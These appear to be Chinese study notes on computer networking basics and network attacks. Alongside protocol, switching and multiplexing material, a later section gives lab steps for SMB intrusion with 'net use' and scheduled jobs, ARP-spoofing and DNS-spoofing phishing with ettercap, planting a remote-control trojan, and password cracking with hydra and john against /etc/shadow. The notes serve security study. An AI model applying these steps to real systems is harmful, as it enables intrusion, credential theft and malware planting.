    1. 主要解决跨域网络互联问题,成为传输控制协议/网络协议。分为4层:网络接口层、网际层、传输层、应用层。

    2. 网际层定义了网际协议(IP)、互联网控制报文协议(ICMP)、地址解析协议(ARP)、反向地址解析协议(RARP)和网际组管理协议(IGMP)。 传输层只定义了传输控制协议(TCP)和用户数据报文协议(UDP)。

    3. 应用层定义了各种标准的应用协议,远程控制(Telnet)、文件传输协议(FTP)和简单邮件传输协议(STMP)是基于TCP的,简单网络管理协议(SNMP)、域名系统(DNS)、远程过程调用协议(RPCP)等基于UDP的。

  5. 常见的网络协议

    1. ip是网络相互连接进行通信而涉及的协议,也是一套规则。规定了计算机在Internet上进行通信时应当遵守的规则。ip嵌套的结构:以太网数据包头、ip头、TCP/UDP/ICMP/IGMP头。

      1. TCP(传输控制协议)是一种面向连接的,可靠的,基于节流的运输层通信协议,有IETF的RFC793说明。

        1. TCP三次握手:c向s发SY N=1,SN=n、s向c发SYN ACK、c向s发ACK SN。

        2. TCP四次挥手:c向s发FIN ACK、s向c发ACK、s向c发FIN ACK、c向s发ACK。

    2. UDP(用户数据协议),提供不可靠连接的数据传输。UDP传输本着一种尽力而为的目的。

    3. ICMP(控制报文协议),是TCP/IP协议簇的一个面向无连接的子协议,用于在ip主机,路由之间传递控制消息。ICMP包含了差错报文、控制报文、请求应答报文。每一类又包含了几种报文,用于数据超时处理、数据参数错误处理,判断网络连通性、时间戳同步等方面。

    4. ARP(地址解析协议),计算机在通信的时候涉及两个地址,网际层ip协议中的ip地址和网络接口层协议中的mac地址。互联网工程任务组(IETE)在1982年11月发布的RFC826种描述定制了ARP,ARP(地址解析协议)的功能正是为目的ip地址寻找下一跳MAC地址。

  6. 计算机网络通信过程种的风险

    1. 常见的针对网络通信过程的攻击方式有以下几种,网络监听、分布式拒绝服务攻击、DNS挟持、ARP欺骗、TCP会话挟持。

10.网络监听

  1. 所谓的网络监听,就是使用一定的软硬件监视网络种所传输的数据报文并进行数据分析的一种技术。网络监听是一种发展成熟的网络安全技术它是一把双刃剑。

  2. 每张网卡在出厂是都有一个全球唯一的mac地址。

  3. 网卡的工作模式有四种模式

    1. 广播模式(Broad Cast Model)Mac地址是0xffffff的帧为广播帧,接收广播帧。

    2. 多播模式(Multi Cast Model)帧可以被组内接收,而组外部主机无法接收。

    3. 直接模式(Direct Model)只接收目标地址是自己MAC地址的帧。

    4. 混杂模式(Promiscuous Model)接收所有流过网卡的帧。

  4. 网络监听的工作原理

    1. 集线器模式是数据帧会到每个接入集线器的pc发,目标pc接收后判断以太网头的目标mac一致。

    2. 交换机模式是当交换机中的每个端口向交换机种发送帧时,交换机首先根据mac表查询对应的端口号,然后制定发送,其他端口不会发送。

    3. 交换机和路由器一般都会自带端口镜像功能。配置使得所有店口的流量都转发一份到镜像端口。实现对网络的监听。

  5. 常见的网络监听工具

    1. 网络监听可分为硬件类和软件类。硬件类可以检查到所有数据报文,软件类有些特定的数据报文无法获取。

    2. sniffer pro,sniffer pro时美国网络联盟公司出品的一款功能强大的网络协议分析软件。

    3. wireshark,wireshark的前身时Ethereal,它是目前时间哈桑应用最为广泛的网络报文工具之一。

  6. 网络监听的安全防范,加强局域网安全防范,在局域网部署时建议使用交换机,使用加密技术,检测局域网种是否存在实时监听的主机。

11.拒绝服务攻击

  1. 拒绝服务(Denial of Server ,Dos)攻击时黑客常用的攻击手段之一,是计算机或者网络无法正常提供服务的攻击。黑客实施拒绝服务攻击有以下几种情况。

    1. 恶作剧、练习、炫耀。

    2. 基于个人原因、政治原因的恶意攻击。

    3. 通过拒绝服务攻击使目标主机重启以便于启动提前种植的木马,并实施进一步的攻击。

  2. 拒绝服务攻击的对象,拒绝服务攻击是一种能让受害者无法提供正常服务的攻击,攻击对象可以时服务器、网络设备、线路、终端设备等。

  3. 常见的拒绝服务攻击技术,分为宽带消耗型和资源消耗型两大类。

    1. 当数据包数量达到或者超过网络承载的上限时,就会出现网络拥堵,就会出现相应缓慢、丢包量传输、无法上网的现象。

    2. 宽带消耗型拒绝服务攻击

      1. ICMP泛洪时利用ICMP请求ECHO报文进行攻击的一种方法。攻击方向目标主机发送大量的ICMP,已达到带宽消耗。

      2. UDP泛洪的实现与ICMP类似。不同于攻击者向目标主机的多个端口随机发送UDP报文。

      3. 垃圾邮件时针对邮件系统,发送大量垃圾邮件类将硬盘塞满。

    3. 资源消耗型拒绝服务攻击

      1. Syn泛洪攻击是利用TCP的三次握手时的,第三次响应时故意不回复,服务器会不断发第二次请求,直到超时。

      2. Land攻击是攻击者向服务器发送特定的SYN请求报文,该SYn的源ip和目标ip都被设置成服务器的地址。服务器接收后会创建一个空连接并将其保留到超时为止。

      3. cc攻击是通过大量“肉鸡”向服务器大量访问来造成拒绝服务。

      4. 慢速Dos攻击是以HTTP的结尾标志作为攻击手段,在HTTP结束时一直不发结尾标志,服务器就会一直等待。

  4. 分布式拒绝服务攻击原理,是分布在不同地理位置的攻击者对同一个目标主机实施拒绝服务攻击。

  5. 分布式拒绝服务攻击步骤

    1. 信息搜集:主数和地址数、目标主机的配置和性能都会影响攻击能否成功。

    2. 占领傀儡主机,是将傀儡做好准备,以好实施攻击。

    3. 实施攻击:黑客会找准目标主机最为薄弱或者影响面最广的时刻实施攻击。

  6. 常见的分布式拒绝服务供给工具,LOIC、HULK、DDos独裁者。

  7. 拒绝服务攻击的防范,带宽扩容、增强设备的性能、在网络边界使用专门的硬件防火墙防御、使用静态网页代替动态网页、分布式集群防御、云端流量清洗。

网络基础

概述

1.定义和发展历史

  1. 计算机网络的定义

    1. 计算机网络是由计算机技术和通信技术的紧密结合形成的。

    2. 计算机网络就是将分布在不同地理位置、具有独立功能的多台计算机及其外部设备,用通信设备和通信链路链接起来,在网络操作系统和通信协议及网络管理软件的协调下实现“资源共享和信息传递”的系统。

    3. 所谓的网络资源包括硬件资源(力图大容量磁盘、光盘阵列、打印机等),软件资源(例如工具软件、应用软件等)和数据资源(例如数据文件和数据库等)。

  2. 计算机网络的发展历史

    1. 发展历史的四个阶段远程终端联机阶段、计算机网络阶段、计算机网络互联阶段、Internet与信息高速公路阶段

    2. 在计算机发展的早期阶段,计算机所采用的操作系统多为分时系统,分时系统将主机时间分成片,给用户分配一定的时间片。

    3. 1969年12月,Internet的前身--美国的ARPA NET 投入运行,它标志着我们常称的计算机网络的诞生。

    4. 20世纪80年代初,随着微机应用的推广,微机联网的需求也随之增大,各种基于微机互联的局域网纷纷出台。

    5. 国际标准化组织(iso)在1984年正式颁布了开放系统互联参考模型(osi/rm),使计算机网络体系结构实现了标准化。

    6. 1993年美国宣布建立国家信息基础设施(NII)后,全世界许多国家纷纷制定和建立本国的NII,从而极大地推动力计算机网络技术的发展,使计算机网络进入了一个崭新的阶段。

2.功能和应用

  1. 计算机网络的功能

    1. 实现计算机系统的资源共享、实现数据信息的快速传递、提高可靠性、提供负载均衡与分布式处理能力、集中管理、综合性息服务

  2. 计算机网络的应用

    1. 办公自动化、管理信息系统、过程控制、Internet应用(电子邮件(Email)、信息发布、电子商务(ECommerce)、远程音频、视频应用)

3.计算机网络的系统组成

  1. 计算机网络是由网络硬件系统和网络软件系统组成的。从拓扑结构看计算机网络是由一些网络节点和链接这些网络节点的通信链路组成的。

  2. 网络节点和通信链路

    1. 网络节点

      1. 计算机网络中的节点又称网络单元,一般分为3种:访问节点、转接节点、混合节点,一般情况下,网络节点具有双重性既可以作为访问又可以做转接。

    2. 通信链路

      1. 通信链路是指两个网络节点之间传输信息和数据的线路。链路可用各种传输介质实现,例如:双绞线、同轴电缆、光纤、微波等。

      2. 通信链路又分为物理链路和逻辑链路:物理链路是由介质组成的,逻辑链路是具备数据传输控制能力,在逻辑上起作用的物理链路。只有在逻辑链路上可以传输数据,而物理链路是逻辑链路形成的基础。

  3. 资源子网和通信子网

    1. 从逻辑功能上可以分为两个子网:资源子网和通信子网

    2. 资源子网:资源子网提供访问网络和处理数据的能力,由主机系统、终端控制器和终端组成。

    3. 通信子网:

      1. 资源子网是计算机网络中负责数据通信的部分,主要完成数据的传输、交换以及通信控制。它由网络节点、通信链路组成。

      2. 通信子网有两种类型:公用网、专用网

网络软硬件系统

  1. 计算机网络系统是由计算机网络硬件系统和网络软件系统组成的。

  2. 网络硬件系统

    • 网络硬件系统是指构成计算机网络的硬件设备,包括各种计算机系统、终端及通信设备。常见的网络硬件有以下几种。

    1. 主机系统:主机系统是计算机网络的主体。按其在网络中的用途和功能的不同,可分为工作站和服务器两大类。

      • 服务器是通过网络操作系统为网上工作站提供服务及共享资源的计算机设备。大多数服务器都是专用的,大多数服务器在网络中用途的不同可分为文件服务器、数据库服务器、邮件服务器、打印服务器等。服务器是网络中最重要的资源,配只要有较高。

      • 工作站是网络中用户使用的计算机设备,又称客户机。工作站是网络数据主要的发生场所。用户主要是通过工作站来利用网络资源并完成自己的工作。工作站本身具有独立的功能,具有本地处理能力。工作站的配置要求较低,一般由普通违纪担任。

    2. 终端:终端不具备本地处理能力,不能直接连接到网络上,只能通过网络上的猪基于网络相连发挥作用。

    3. 传输介质:传输介质的作用是在网络设备之间构成物理链路,以便实现信息的交换。最常见的阐述介质类型是同轴电缆、双绞线和光纤。

    4. 网卡:网卡是提供传输介质与网络主机的接口电路,实现数据缓冲器的管理、数据链路的管理、编码和译码。

    5. 集线器:集线器是计算机网络中连接多个计算机或其他设备的连接设备,是对网络进行集中管理的最小单元。集线器的主要功能是放大和中转信号,他把一个端口接收的全部信号向所有端口分发出去。

    6. 路由器:路由器是网络层的互连设备,路由器可以实现不同子网之间的通信,是大型网络提高效率、增加灵活性的关键设备。

  3. 网络软件系统

    • 网络软件系统包括网络操作系统、网络通信协议和各类网络应用系统。

    1. 服务器操作系统:就是通常所说的网络操作系统(NOS),都是多任务、多用户的操作系统。它安装在网络服务器上,提供网络操作的基本环境。除具备常规操作系统的五大管理功能之外,网络操作系统还具有网络用户管理、网络资源管理、网络运行状况统计、网络安全性的建立、网络通信等其他网络服务管理功能。

    2. 工作站操作系统:由于网络中的工作站多为微机,所以工作站操作系统就是一般的微机操作系统。

    3. 网络通信协议:网络中计算机与计算机之间、网络设备与网络设备之间、计算机与网络设备之间进行通信时,双方只有遵循相同的通信协议才能实现连接,进行数据的传输,完成信息的交换。

      • 网络通信协议就是实现网络协议规则和功能的软件,网间包交换协议(IPX)、传输控制协议/网际协议(TCP/IP)和以太网协议。

    4. 设备驱动程序:设备驱动程序是计算机系统专门用于控制特定外部设备的软件,它是操作系统与外部设备之间的接口。

      • 网卡的驱动程序控制网卡的运行,并且为操作系统提供接口。

    5. 网络管理系统软件:网络管理系统软件(Network Management System,NMS)简称网管软件。

      • 简单网络管理协议(SNMP)是TCP/IP协议族中提供管理功能的协议,snmp通常作为一个组织网络管理的基础。

    6. 网络安全软件:数据在网络上传输常常暴露在各种危险之中,为抵御这些威胁,保证网络安全运行,系统管理员必须检验和评估各种可选择的网络安群措置。

    7. 网络应用软件:是指在网络环境下开发出来的供用户在网络上使用的应用软件。

4.计算机网络的分类

  1. 按计算机网络覆盖范围分类

    1. 由于网络覆盖范围和计算机之间互联距离不同,所采用的网络结构和传输技术也不同。

    2. 局域网(Locate Area Network,LAN),局域网组网方便、灵活、传输速率较高。

    3. 广域网(Wide Area Network,WAN),因特网就是典型的广域网。

    4. 城域网(Metropolitan Area Network, MAN)。

  2. 按计算机网络拓扑结构分类

    1. 星状网、环状网、总线型网、树状网、网状网

  3. 按网络的所有权利分

    1. 公用网、专用网

  4. 按照网络中计算机所处的地位划分

    1. 对等网络:在计算机网络中,倘若每台计算机的地位平等, 都可以平等地使用其他计算机内部的资源,每台计算机磁盘上的空间和文件都成为公共资源,这种网络就称为对等局域网(Peer to Peer LAN),简称对等网。

    2. 客户机/服务器模式:这种网络称为客户机/服务器(Client/Server)

数据通行基础

1.数据通信的基本概念

  1. 数据通信是两个实体间的数据传输和交换,把处在不同位置的终端和计算机,或计算机与计算机连接起来,从而完成数据传输、信息交换和通信处理等任务。

  2. 信息和数据

    1. 信息:信息是对客事物的反映,可以是对物质的形态、大小、结构、性能等全部或部分特性的描述,也可以表述物质与外部的联系。

    2. 数据:信息可以用数字的形式来表示,数字化的信息称为数据。数据是信息的载体,信息则是数据的内在含义或解释。

  3. 信道和信道容量

    1. 信道

      1. 信道是传送信号的一条通道,可以分为物理信道和逻辑信道。物理信道是指用来传送信号或数据的物理通路。逻辑信道也是指传输信息的一条通路,但在信号的收、发节点之间并不一定存在与之对应的物理传输介质,而是在物理信道基础上,由节点设备内部的链接来实现。

      2. 信道按使用权限可分为专业信道和公用信道;按传输介质可分为有线信道、无线信道、卫星信道;按传输信号的种类可以分为模拟信道和数字信道等。

    2. 信道容量

      1. 信道容量是指信道传输信息的最大能力,通常用信息速率来表示。单位时间内传送的比特数越多,则信息的传输能力也就越大,表示信道容量越大。信道容量由信道的频带(带宽)、可是用的时间能通过的信号功率和噪声功率决定。

  4. 码元和码字

    1. 在数字传输中,有时把一个数字脉冲成为一个码元,是构成信息编码的最小单位。将计算机网络传送中的每一位二进制数字称为“码元”或“码位”。

  5. 数据通信系统主要技术指标

    1. 比特率:比特率是一种数字信号的传输速率,它表示单位时间内所传送的二进制代码的有效位(bit)数,单位用比特每秒(bps)或千比特每秒(kbps)表示。

    2. 波特率:波特率是一种调制速率,也称波特率。它是针对在模拟信号上进行数字传输时,从调制解调器输出的调制信号,每秒钟载波调制状态改编的次数。其单位为比特(Baud)。

    3. 误码率:误码指信息传输的错误率,也称错误率,是数据通信系统在日常工作情况下,衡量传书可靠性的指标。

    4. 吞吐量:吞吐量是单位时间内整个网络能处理的信息总量,单位是字节/秒或为/秒。在单信道总线型网络中:吞吐量=信道容量*传输效率。

    5. 信道的传播延迟:信号在信道中传播,从信源管端到达信宿端需要一定的时间,这个时间称为传播延迟(或时)

  6. 带宽与数据传输速率

    1. 信道带宽:信道带宽是指信道所能传送的信号频率宽度,它的值为信道上可传送信号的最高频率与最低频率之差。

    2. 数据传输速率:数据传输速率是指单位时间内信道内传输的信息量,即比特率。一般来说,数据传输速率的高低由传输每1位数据所处时间决定,传输每1位数据所占时间越小,则传输速率越高。

2.数据传输方式

  1. 在数据通信系统中,通信信道为数据的传输提供了各种不同的通路。

  2. 数据通信系统模型:数据通信系统的一般结构模型,它是由数据终端设备(DTE)、数据线路端接设备(DCE)和通信线路等组成。

  3. 数据终端设备

    • 数据终端设备(Data Terminal Equipment,DTE)是指用于处理用户数据的设备,是数据通信系统的信源和信宿。因为这种设备代表通信链路的端点,所以称为数据终端设备。它是资源子网的主体,通常的DTE就是一台具有处理数据的计算机,但它发出的信号并不能直接送达需要借助DCE才能实现。

  4. 数据线路端接设备

    • 数据线路端接设备(Data Circuit Terminating Equipment,DCE)又称为数据通信设备(Data Communication Equipment),是介于DTE与传输介质之间的设备,用于将DTE发出的数字信号转换成适合在传输介质上传输的信号形式,并将它送至传输介质上;或者将从传输介质上接受的得远端信号转换为计算机能接收的数据信号形式,并送往计算机,例如Modem等。

2.2.2 数据线路的通信方式

  • 根据数据信息在传输线上的传输方向,数据通信方式有单工通信、半双工通信、全双工通信

  1. 单工通信

    • 在单工通信方式中,信息只能在一个方向上发送。

  2. 半双工通信

    • 半双工通信的双方可交替地发送和接收信息,但不能同时发送和接收。

  3. 全双工通信

    • 全双工通信的双方可以同时进行双向的信息传输。

2.2.3 数据传输方式

  • 按照数据在传输线上市原样不变地传输还是调制变样后再传输,数据传输方式可分为:基带传输、频带传输、宽带传输等。

  1. 基带传输

    • 在数据通信中,表示计算机中二进制数据比特序列的数字数据信号是典型的矩形脉冲信号。人们把矩形脉冲信号的固有频带称为基本频带,简称基带。

    • 基带传输是一种最基本的数据传输方式,一般用在较近距离的数据通信中。在计算机局域网中,主要就是采用这种方式传输。

  2. 频带传输

    • 基带传输要占据整个线路能提供的频带范围,在同一个时间内,一条线路只能传输一路基带信号。为了提高通信链路的利用率,可以用占据小范围带宽的模拟信号作为载波来传送数字信号。

    • 常用的频带调制方式有频率调制、相位调制、幅度调制、调幅加调相的混合调制方式。频带传输克服了电话线上不能直接传送基带信号的缺点,提高通信线路的利用率,尤适用于远距离的数字信道。

  3. 宽带传输

    • 在同一信道上,宽带传输系统既可以进行数字信息服务也可以模型信息服务。计算机局域网采用的数据传输系统由基带传输和宽带传输两种传输方式,基带传输和宽带传输的主要区别在于数据传输速率不同。一个带宽信道能被划分为许多个逻辑信道,从而可以将各种声音、图像和数据信息传输综合在同一个物理信道中进行。

3.数据交换技术

  • 在计算机网络中,传输系统的设备成本很高,所以当通信用户较多而传输的距离较远时,通常采用交换技术,使通信传输线路为各个用户所共用,以提高传输设备的利用率,降低系统费用。通常使用三种交换技术:电路交换、报文交换、分组交换

2.3.1 电路交换

  • 在电路交换(Circuit Exchanging)方式中,通过网络节点(交换设备)在工作站之间建立专用的通行通道,即在两个工作站之间建立实际的物理连接。同性过程可分为三个阶段:电路建立阶段、数据传输阶段和拆除电路连接阶段

2.3.2 报文交换

  • 报文交换(Message Exchanging)与电路交换不同,它采取的是“存储-转发”(Store-and-Forward)方式,不需要在通信的两个节点之间建立专用的物理连接。数据以报文(Message)的方式发出,报文中除包括用户要传送的信息外,还有原地址和目地地址等信息。

2.3.3 分组交换

  • 分组交换(Packet Exchanging)也属于“存储-转发”交换方式,但它不是以报文为单位,而是以长度受到限制的报文分组(Packet)为单位进行传输交换的。分组的最大长度一般规定为一千比特。进行分组交换时,发送节点先要对传送的信息分组,每个分组中的数据不一定相同,但都必须小于规定的最大长度。还要对各个数据加上编号,加上源地址和目的地址以及约定的头和尾等其他控制信息。这个分组的过程称为信息打包。分组也称为信息包和包交换。

  • 分组在网络中传输,还可以分成不同的两种方式:数据报和虚电路

    1. 数据报(Data Gram)

      • 这种方式有点想报文交换。报文被分组后,在网路中的传播路径是完全根据当时的通信状况来决定的。由于报文被分成许多组,每一组的路径可能是不同的所需要的时间也不同,但是所有组的目标主机是相同。目的主机必须对分组进行排序拼接出原来的信息。

      • 数据报传输分组交换方式的优点是:对于短报文数据,通信传输速率比较高,对网络故障的适应能力强:而它的缺点是传输时延较大,时延离散度大。

    2. 虚电路(Virtual Circuit)

      • 所谓虚电路就是两个用户的终端设备在开始互相发送和接收数据之前,需要通过通信网络建立逻辑上的连接。

      • 一旦这种连接建立后,就在通信网保持已建立的数据通路,用户发送的数据将按顺序通过新建立的数据通路到达终点,而当用户不需要发送和接收数据时可清除这种连接。

      • 虚电路传输分组交换的优点是:对于数据量较大的通信传输速率高,分组传输延时短,且不容易产生数据分组丢失。而它的缺点:对网络的依赖性较大。

2.3.4 信元交换技术

  • 信元交换技术是指异步传输模式(Asynchronous Transfer Mode,ATM),它是一种面向连接的交换技术,它采用小的固定长度的信息交换单元(信元),话音、视频和数据都可由信元的信息与传输。他综合吸取了分组和电路交换的优点,针对分组交换的弱点,利用电路交换完全与协议处理鱼馆的特点,通过高性能的硬件设备来提高处理速度,以实现高速化。ATM技术是克服了电路和分组交换的局限性的基础上产生的。ATM技术十分复杂,但对有高带宽要求和高级服务质量(QoS)需求的用户,ATM是一种广域网主干线的最好选择。

  • ATM模型分为三个功能层:ATM物理层、ATM层和ATM适配层

    1. ATM物理层:ATM物理层是控制数据位在物理介质上的发送和接收。另外,它还负责跟踪ATM信号边界,将ATM信元封装成类型和大小都合适的数据帧。

    2. ATM层:主要负责建立虚链接并通过ATM网络传输ATM信元。

    3. ATM适配层:主要任务是在上层协议处理所产生的数据单元和ATM信元之间建立一种转换关系。同时适配层还要完成数据包的分段和组装。

  • 建立连接,数据从应用层向下传输到ATM适配层,将数据分成定长的48B,并适配到底层的ATM服务上。ATM标准化组织ATM Forum 已经定义了若干不同的ATM适配类型,将定长的数据传输到ATM层添加5B的信元头,构成一个53B的信元。信元到达目的地址后从物理层向上传递到ATM适配层将48B的定长数据在进行组装,向高层传递。在交换通路某一个中间结点上,点个信元都是根据信元头的内容进行交换的。

4.差错检验与校正

  • 计算机网络的基础要求是高速而且无差错的传输数据信息,而通信系统主要由一个个物理实体组成。每个在运行中,也会受到周围环境的影响,因此,一个通信系统无法做到无美无瑕,需要考虑如何发现和纠正信号传输中的差错。

  • 数据传输出现差错有多种原因,一般分为内部因素和外部因素:内部因素有噪音脉冲、脉动噪音、衰减、延迟失帧等;外部因素有电磁干扰、太阳噪音、工业噪音等。为了确保无差错传输数据,不需具有检错和纠错的能力。

2.4.1 奇偶校验

  • 奇偶校验是一种最简单的检错方法。是在数据的最后加上以为奇偶校验位,接收器检查接收到的数据的最后查看是否是奇数或偶数,来判断是否错误情况。若有两个数据同时错误将无法查出错误。

2.4.2 循环冗余校验

  • 循环冗余校验(Cyclic Redundancy Check ,CRC)是一种较为复杂的校验方法,又称多项式码。这种编码对随机差错和突发差错均能以较低的冗余度进行严格的检查,有很强的检错能力。它是利用事先生成的一个多项式g(x)=x^16+x^12+x^5+1去除要发送的信息多项式m(x),得到余式就是所需的循环冗余校验码,它相当于一个16位长的双字符。它将传送的数据后附加若干个校验位。接收端接收时先去除同一多项式,去除出错则数据错误。

5.多路复用技术

  • 多路复用技术能把多个信号组合在一条物理信道上传输,使多个计算机或终端设备共享信道资源,提号信道的利用率。

2.5.1 频分多路复用

  • 频分多路复用(FDMA)是将具有一定宽带的信道分成若干个有效小频带的子信道,每个子信道供一个用户使用。这用,在信道中就可以同时传输多个不同频带的信号。没分开的各个子信道的中心频带互不重合,且各个信道之间留有一定的空闲频带。

2.5.2 时分多路复用

  • 时分多路复用(TDMA)是将一条物理信道的传输时间分成若干个时间片轮流的给多个信号使用。时分多路复用技术实现的条件是,信道能达到的数据传输速率超过各路信号源所要求的数据传输速率。

2.5.3 波分多路复用

  • 波分多路复用(WDMA)主要用于由全光纤网组成的用信息系统中。所谓波分多路复用,是指在一根光纤上能够同时传输多个不同波长光载波的复用技术。

2.5.4 码分多路复用

  • 码分多路复用(CDMA)是一种用于移动通信系统的新技术,一个数字助理(PDA)以及手提电脑(HPC)等移动计算机的联网通信将会大量使用码分多路复用技术。

  • 码分多路复用技术的工作是基于码型分割信道。每个用户分配有一个地址码,而这些码型互相不重叠,其特点是频率和时间资源均为共享。在频率和时间资源紧缺的情况下,码分多路复用技术可以很好的解决问题。

攻击手段

1 了解攻击

1.黑客攻击

  1. 黑客的攻击技术有很多,但是攻击的步骤基本是不变的。可以把黑客攻击分为:踩点、扫描、查点、访问、提升权限、窃取信息、掩踪灭迹、创建后门、拒绝服务

  2. 简单渗透445

    1. 在网段中使用“ScanPort”扫描该网段开了445端口的电脑,手工测试开放端口使用“telnet IP地址 测试端口”。

    2. 使用命令将共享文件夹映射到本地,“net use 盘符 ip地址+共享名 password /user:用户名”,攻击成功后需要创建后门。

    3. 运行木马在服务器添加作业,查看时间”net time ip地址“,设置作业“at ip地址 时:分 “要做的事情” ”

2.中间人

  1. 使用kali系统模拟攻击者,利用中间人的攻击手段来获取用户登录的用户名和密码。

  2. 使用的环境是虚拟环境用到的交换机是,winxp、win server 、kali。

  3. 中间人攻击的工作原理就是arp欺骗

  4. 部署好服务器和客户机后,登录到kali中搜索“ettercap”软件,选择sniff中的第一个选项后找到网卡。在Hosts中选择Hasts List,再选择Scan for hosts,找到你要攻击的服务器后客户客户机后选择添加一和添加二。

  5. 添加好后找到Mitm中的ARP polsonlng就已经开始攻击了。

3.钓鱼网站

  1. 钓鱼者运用社会工程学知识诱骗受害者,以在未授权情况下获取对方的个人信息。

  2. 钓鱼网站的原理是:使用arp欺骗接入双方,再通过用户访问客户机将要访问的网站dns修改将其映射为自己。通过自己的网页用户提交用户名和密码时将其他送给了攻击者。

  3. 在服务器中部署好后,打开kali的命令窗口并输入vim /etc/ettercap/etter.dns编辑这个文件,找到“microsoft sucks”下方把域名和ip写入,注意:A代表正向解析,PTR代表反向解析。在kali上开启web服务systemctl start apache2,开启后使用命令验证一下netstat -antpl。确定开启后找到"/var/www/html"这里存储要显示的页面。注意记得把文件的权限修改一下。

  4. 部署好服务器和客户机后,登录到kali中搜索“ettercap”软件,选择sniff中的第一个选项后找到网卡。在Hosts中选择Hasts List,再选择Scan for hosts,找到你要攻击的服务器后客户客户机后选择添加一和添加二。

  5. 添加好后找到Mitm中的ARP polsonlng后再找到plugins中的Manage the plugins的dns_spoof。

4.木马

  1. 通过经典的木马攻击还原场景,来学习木马的制作,并实现植入木马对目标主机进行完全控制。木马具有隐蔽性、潜伏性和再生性。

  2. 木马的组成

    1. 客户端是安装攻击者的控制台,他负责远程控制。

    2. 服务端是被安装木马的受害者也称肉鸡。

  3. 中了木马后会出现硬盘不停读写、鼠标键盘不听使唤、窗口突然关闭和打开。

  4. 实现客户机控制服务器

    1. 再客户端打开”灰鸽子“找到服务器配置后把IP写入,再点击生成服务器将其发送给服务器。使用net use \\ip\ipc$ password /user:username代表访问445端口。通过445连接后使用命令将其复制到服务器中并设置定时任务(任务不要太靠近于当前时间,不然电脑会认为是明天要执行的任务)

5.扫描与爆破

  1. 扫描是一个给成重要的任务,如果不扫描就无法知道哪个电脑的端口没开。

  2. 端口检测之前需要简单的认识一些端口

    端口 服务 端口 服务
    21 FTP 443 HTTPS
    22 SSH 1433 SQL Server
    23 Telnet 1521 Oracle
    25 SMTP 3306 MySQL
    80 HTTP 3389 RDP
    445 SMB    
  3. Nmap

    1. nmap称为扫描王,是开源并跨平台的。

    2. 常用的参数

      nmap -sP 				ping扫描
      	nmap -sP 192.168.1.1-192
      	nmap -sP 192.168.1.1/24
      nmap -p  				指定端口范围
      nmap -sT 				TCP连接扫描
      nmap -sS 				TCP SYN扫描
      nmap -sU 				UDP扫描
      nmap -sV 				版本扫描
      nmap -O  				启用操作系统探测
      nmap -A 				全面扫描
      nmap -oA 				保存到所有格式
      	nmap 192.168.1.1 -oA result.txt
  4. linux下破解口令

    hydra -l root -P /root/dic/test.dic 192.168.1.1 ssh -vV
    小写的l和p代表一个字符,大写的代表一个可迭代对象(就是字典)。
    后面的IP就是要刷的主机,再后面的是服务,要刷扫描协议就写扫描协议。
  5. 在Linux下破解密码

    john --wordlist=/root/dic/test_pwd.dic /etc/shadow
    john --show /etc/shadow
    test_pwd.dic是字典。

2 渗透测试

2.1 渗透概述

  1. 渗透测试(penetration testing,pentest)是实施安全评估(即审计)的具体手段。方法论是在制定、实施信息安全审计方案时,需要遵循的规则、惯例和过程。人们在评估网络、应用、系统或三者组合的安全状况时,不断摸索各种务实的理念和成熟的做法,并总结了一套理论。

  2. 渗透测试分为几类。

    1. 黑盒测试

      1. 在进行黑盒测试时,安全审计员在不清楚被测单位的内部技术构造的情况下,从外部评估网络基础设施的安全性。

      2. 在渗透测试的各个阶段,黑盒测试借助真实世界的黑客技术,暴露出目标的安全问题,甚至可以揭露尚未被他人利用的安全弱点。

      3. 渗透测试人员应能理解安全弱点,将之分类并按照风险等级对其排序。通常来说,风险级别取决于相关弱点可能形成危害的大小。

      4. 老练的渗透测试专家应能够确定可引发安全事故的所有攻击模式。当测试人员完成黑盒测试的所有测试工作之后,他们会把与测试对象安全状况有关的必要信息进行整理,并使用业务的语言描述这些被识别出来的风险,继而将之汇总为书面报告。黑盒测试的市场报价通常会高于白盒测试。

    2. 白盒测试

      1. 白盒测试的审计员可以过去被测单位的各种内部资料甚至不公开资料,所以渗透测试人员的事业更为开阔。若以白盒测试的方法评估安全漏洞,测试人员可以以最小的工作量达到最高的苹果精确度。白盒测试被测系统环境自身出发,全面消除内部安全问题。从而增加了从单位外部渗透系统的难度。

      2. 黑盒测试其不到这样的作用,白盒测试所需要的步骤数目与黑盒测试不相上下。另外,若能将白盒测试与常规的研发生命周期相结合,就可以在入侵者发现甚至利用安全弱点之前,尽可能最早地消除全部安全隐患。

      3. 这使得白盒子测试的时间、成本、以及发现、解决安全弱点的技术门槛都全面低于黑盒子测试。

    3. 脆弱性评估与渗透测试

      1. 脆弱性评估通过分析企业资产面临安全威胁的情况和程度,评估内部和外部的安全控制的安全性。这种技术上的信息系统评估,不仅揭露现有防范措施里存在的风险,而且要提出多重备选的补救策略,并将这些策略进行比较。内部的脆弱性苹果可保证内部系统的安全性,而外部的脆弱性评估则是验证边界防护(perimeter defenses)的有效性。无论进行内部脆弱性评估还是进行外部脆弱性评估,i评估人员都会采用各种个攻击模式来严格测试网络资产的安全性,从而验证信息系统处理安全威胁的能力,进而确定应对措施的有效性。不同类型的脆弱性评估需要的测试流程、测试工具和自动化测试技术也不相同。这可以通过一体化的安全弱点管控(vulnerability management)平台来实现。现在的安全弱点管理平台带有可自动更新的漏洞数据库,能够检测不同类型的网络设备,而且不会影响配置管理和改变管理的完整性。

      2. 脆弱性评估和渗透测试两者最大的区别就是:渗透测试不仅要识别目标的弱点,它还设计在目标系统上进行漏洞利用、权限提升和访问维护。换句话说,脆弱性评估虽然可以充分发现系统里的缺陷,但是不会考虑去衡量这些缺点对系统造成的危害。另外,相比脆弱性评估,渗透测试更倾向于入侵,会刻意使用各种技术手段利用安全漏洞;所以渗透测试可以对生产环境带来实际的破坏性影响。而脆弱性评估以非入侵的方式,定性、定量得识别已知安全弱点。

    4. 安全测试方法论

      1. 开放式web应用程序安全项目(Open Web Applicaiton Security Project,OWASP)[http://www.owasp.org.cn/]

        1. 测试指南[https://www.owasp.org/index.php/OWASP_Testing_Project]

        2. 开发人员指南[https://www.owasp.org/index.php/OWASP_Guide_Project]

        3. 代码审核指南[https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project]

      2. 通用缺陷列表(Common Weakness Enumeration,CWE)

        1. CWE-79:XSS[http://cwe.mitre.org/data/deinitions/79.html]

        2. CWE-89:SQLi[http://cwe.mitre.org/data/definitions/89.html]

      3. 通用漏洞与披露(Common Vulnerabilities and Exposures,CVE)

        1. [http://cve.scap.org.cn/]

        2. [http://cve.mitre.org/]

      4. 其他方法论

